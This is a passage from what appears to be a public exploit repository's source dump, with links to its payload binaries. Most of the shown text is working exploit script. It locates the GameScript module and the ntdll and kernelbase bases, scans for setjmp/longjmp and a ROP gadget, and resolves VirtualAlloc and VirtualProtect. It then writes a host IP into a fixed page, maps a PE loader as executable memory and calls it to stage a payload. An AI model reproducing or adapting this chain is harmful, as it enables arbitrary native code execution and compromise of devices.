//printConsole("Export: " + name_str + " - " + num_to_hex64(func_addr) + "\n") 300 | } 301 | 302 | return res 303 | } 304 | 305 | var VirtualAlloc_ptr = 0 306 | var VirtualProtect_ptr = 0 307 | fn map_code(code) { 308 | var code_addr = call_native(VirtualAlloc_ptr, 0, 0x100000, 0x3000, 4) 309 | write_buf(code_addr, code) 310 | 311 | var oldp_ptr = globalArrayNew8Bit("oldp", 0x100) 312 | var oldpp = ptr_to_num(oldp_ptr) 313 | call_native(VirtualProtect_ptr, code_addr, 0x100000, 0x20, oldpp) 314 | return code_addr 315 | } 316 | 317 | fn map_page(addr) { 318 | var code_addr = call_native(VirtualAlloc_ptr, addr, 0x100000, 0x3000, 4) 319 | return code_addr 320 | } 321 | 322 | 323 | // create and dump our object to the terminal 324 | var slbus_ptr = slBus_create() 325 | var slp = numberFromRaw64BitUnsignedInteger(slbus_ptr) 326 | 327 | // get the base of the GameScript module via the vtable 328 | gs_base = read64(slp) - 0x16faf8 329 | 330 | ntdll_base = find_module_base(read64(gs_base + 0x125398)) 331 | kernelbase_base = find_module_base(read64(gs_base + 0x1253A0)) 332 | 333 | var setjmp_bytes = [0x48,0x89,0x11,0x48,0x89,0x59,0x08,0x48,0x89,0x69,0x18,0x48,0x89,0x71,0x20,0x48] 334 | var longjmp_bytes = [0x48,0x8B,0xC2,0x48,0x8B,0x59,0x08,0x48,0x8B,0x71,0x20,0x48,0x8B,0x79,0x28,0x4C] 335 | var tmp_bytes = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] 336 | 337 | setjmp_ptr = find_bytes(ntdll_base, 0x217000, setjmp_bytes, tmp_bytes) 338 | longjmp_ptr = find_bytes(ntdll_base, 0x217000, longjmp_bytes, tmp_bytes) 339 | 340 | // bytes for the following gadget: pop rdx;pop rcx;pop r8;pop r9;pop r10;pop r11; ret 341 | var gadget_bytes = [0x5A, 0x59, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x41, 0x5B, 0xC3] 342 | tmp_bytes = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] 343 | gadget_ptr = find_bytes(ntdll_base, 0x217000, gadget_bytes, tmp_bytes) 344 | 345 | 346 | // get the ntdll & kernel base exports and find VirtualAlloc/Protect 347 | var kernelbase_exports = get_dll_exports(kernelbase_base) 348 | var ntdll_exports = get_dll_exports(ntdll_base) 349 | VirtualAlloc_ptr = kernelbase_exports["VirtualAlloc"] 350 | VirtualProtect_ptr = kernelbase_exports["VirtualProtect"] 351 | var VirtualFree_ptr = kernelbase_exports["VirtualFree"] 352 | 353 | 354 | // allocate our token info buffer 355 | var tinfo_ptr = globalArrayNew8Bit("tinfo", 0x2000) 356 | var tinfop = ptr_to_num(tinfo_ptr) 357 | 358 | // write the ip to the global page 359 | var global_page = map_page(0x44000000) 360 | pointerSetString(0, global_page, host_ip) 361 | 362 | // map the pe loader 363 | var pe_loader_ptr = map_code(pe_loader_code) 364 | var pe_ret = call_native(pe_loader_ptr, 0, 0, 0, 0) 365 | -------------------------------------------------------------------------------- /solstice_artifacts/payload_server_win_x64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/exploits-forsale/collateral-damage/f4098eb63eace12dfc60611e789696cd149181a4/solstice_artifacts/payload_server_win_x64.exe -------------------------------------------------------------------------------- /solstice_artifacts/stage2.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/exploits-forsale/collateral-damage/f4098eb63eace12dfc60611e789696cd149181a4/solstice_artifacts/stage2.bin --------------------------------------------------------------------------------